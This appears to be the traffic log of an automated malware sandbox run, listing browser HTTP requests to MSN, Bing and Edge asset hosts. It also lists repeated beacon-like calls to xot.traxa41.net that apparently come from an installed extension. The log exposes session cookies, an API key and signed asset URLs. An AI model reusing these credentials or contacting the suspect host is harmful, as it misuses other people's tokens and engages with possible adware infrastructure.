Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/welcomeGreetingLight.879b176ee540781e4e35.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/libs_social-data-service_dist_service_SocialService_js.6a2e3b2d7b9c8b7b2133.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/notification-bell-wc.dd601018956dbb3a4fb7.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/feedback.3220005356a33ce0ca94.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/na-trending.e1c8353f6c85262a7e58.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/superBreakingNews.b103d390df46602376d8.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/weather-one-liner.48b10cbc534ebb1a7fad.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/digest-card.7224d7f5906215f25e3c.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/toast-wc.6cd4b923cfe7c0d8b058.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/ms-rewards-wc.9abca88189e342bde963.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /breakingnews/v1/cms/api/amp/article/AA157JY HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/sign-in-control-wc.ce912a6f76a1497532ac.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/common/icons/copilot_color.svg HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/feedDependencies.6629e7599f3739138e10.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/mobile-app-upsell.b15413e73bafe92e0855.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/libs_location-service_dist_AutoSuggestService_index_js-libs_location-service_dist_profiles_We-d085cf.36490bde8dc8dec85933.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/weather-card-data-connector.b0240aa589a42dc6a0bc.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bnc/notifications/count?app=anaheim&pageId=ntp HTTP/1.1Host: www.bing.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-Search-UILang: en-ussec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47X-PERSONALBING-FLIGHTS: msnallexpusers,prg-sp-liveapi,prg-cg-homepagec,premms-sc-sc_roer3,prg-c-arb-rsz,1s-wpo-vsocc,prg-sriver-wpo,ads-prec-fix,sid-finalval,sidamo-flr-stage-2,preshp-xap-prod,prg-1sw-sa-annquota14,prg-1sw-sageimterav3i2c,prg-1sw-sacfxevery2-t1,prg-1sw-sa-distillation4-t1,prg-1sw-saerevrfcc,traffic-1sw-sim,prg-1sw-sim-adapt,prg-cg-ntv-ad-blnd,prg-1sw-p1widinc-2d,1s-wpo-pr1-3colnodem,prg-1sw-p1widinc,1s-tpsn-wapiprg-t,1s-tpsn-wapidestprg,prg-cg-featured-c,traffic-1-lkscinc-t,prg-1sw-lksincstbl,1s-aadp1dynasize,1s-p1-cgtab-r1hp,prg-fin-cdicon,prg-fin-l2tnews1,prg-fin-l2tnews,btrecenus,iframeflex,prg-adspeek,prg-fin-errde,1s-winauthservice,flight0417cf_4,prg-rfrcsmc,prg-pr2-flashrev,btie-fancy-img-c,prg-ad-ai-imgf-c,1s-fcrypt,prg-cookiecont,prg-ctr-pnpc,prg-entpremier-pr2-c,1s-prealgo855,1s-xapentprong2,prg-p2-prmft,prg-pr2-entprem-c,1s-ntf2-exdrc,1s-ntf2-exdr,1s-ntf2-marf5,1s-wpo-pr2-dpucd5,prg-pr2-noreqcap,prg-upsaip-w1-t,prg-upsaip-r-t,prg-vidbuf1,1s-rpssecautht,1s-shp-rc-tc-rmsanc,jj_fac_t,traffic-pr2-cmsev-c,1s-tpsn-wapiprg2-t,1s-tpsn-wapidestprg2,prg-cg-cmga,prg-cg-cmgroupa,prg-pr2-svganimac,prg-ad-pdedupe-c,prg-unified-p2,1s-p2-promotedondmd,1s-wpo-pr2-promad,prg-2unified-uc-t,1s-wpo-pr2-sdcginrailt3c,1s-wpo-prg2-ioctrl,1s-wpo-pr2-fsearch,1s-defaultscn,prg-1sw-pde0,1s-defaultscnw,prg-csacclink-c,1s-notifmapping,1s-shp-rc-t-v7np350,1s-shp-rc-t2-v7_2addneg,1s-shp-rc-t3-v7np350,1s-shp-rc-te-v7_2addneg,prg-sh-lowinv1,prg-sh-lowinv,prg-1sw-srdus,prg-cg-notf2,prg-cg-notf,prg-sh-dealsdaypdp,1s-xapbnze,prg-sh-rmitmlnk,nopinglancecardit,prg-chnl-umf-follow,prg-cg-ingames-ct,prg-sh-recopdp,prg-sh-bd-newbanner,mktautosqor,prg-1sw-rr2fn,prg-1sw-rr2fp,prg-strrtng-g1,prg-cg-c-hb,prg-ugc-likechange,prg-1sw-wxmptreplace,prg-1s-wpocfpc,ads-oshkpstgt-c,prg-pr2-sidebar-5-t,1s-sl-halfucards,prg-pr2-pagecontext,prg-pr2-shoreline,prg-pr2-sidebar,prg-sh-bd-newchckot,prg-sh-bd-nwchk,msph-tdinmsph,prg-sh-bd-disgb-c,msph-feedinternal,nonmobile-t,revprmres,1s-temp-wid-t,prg-1s-twid,msph-onboardconfig,hp-bot-seo,prg-1sw-iconmap,1s-uasdisf-t,prg-wx-ncar,1s-user-ctrl-rotc1,ads-usepme-c,prg-1sw-finvldc,prg-rpt2,prg-cg-dom-cleac,0age5412,ads-anjson-migt,1s-servicetelemetry,sh-bdvid,prg-sh-bd-video,fv-channel-stagc,prg-1s-sm-workid,prg-1s-workid,vws-chpgv2-lgtn,prg-chpg-ldgw,msph-contoverview,msph-mergedfeedapi,ads-sharvia-migr,msph-aiacselect,1s-blis-followloc,1s-wpo-ntp-hero-t,msph-mngcontrep,msph-c2scontrep,msph-newrsvideo,prg-1s-mm-wid-t,cswea-ovwntout,prg-1sw-iplsdp2,prg-1sw-iplsdp1,prg-1sw-iplsd-ntp,prg-1sw-iplsdc1p2,prg-1sw-iplsdc-ntp,prg-whp-minil1,prg-1sw-popularc,prg-ad-va-rf-c,prg-
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/RewardsData.d04fc8c7d4c8170f30ae.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/RewardsCoachmarkData.c462c3980af18bc60b9d.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/MarketMismatchCoachMark.e6fcf9edbaadfb663ccb.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ext/analytic?do=init&from=Chrome3 HTTP/1.1Host: xot.traxa41.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ext/installed?1=1&from=Chrome3 HTTP/1.1Host: xot.traxa41.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /service/News/Users/me/Rewards?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&ocid=rewards-peregrine&cm=en-us&it=app&user=m-09C025F5A71D6FE2180F319FA60A6E8D&scn=APP_ANON&version=2 HTTP/1.1Host: assets.msn.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/marketmismatch/bannerDisplayString/en-gb.json HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12Q7vH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/grid-view-feed.f421ed2fe498976a2181.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /124bcd1a-f3d7-4fb7-9a67-95cb55e1369b/e98de748-51c9-427f-bc64-8a50262c8fdb.mp4 HTTP/1.1Host: prod-streaming-video-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/scrollPerfMetricTrackers.9abeb397be7183994289.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/web-components_follow-publisher-button_dist_index_js.bdee2604ba001760eaa1.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ext/analytic?do=init&from=Chrome3 HTTP/1.1Host: xot.traxa41.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ext/installed?1=1&from=Chrome3 HTTP/1.1Host: xot.traxa41.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?sv=2017-07-29&sr=c&sig=R83mlHRCqeHRG9T0loza5cz3U8zjuZzQy2wVvoSHGHw%3D&st=2021-01-01T00%3A00%3A00Z&se=2024-06-30T00%3A00%3A00Z&sp=r&assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=R83mlHRCqeHRG9T0loza5cz3U8zjuZzQy2wVvoSHGHw%3D&st=2021-01-01T00%3A00%3A00Z&se=2024-06-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ArbitrationServiceSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
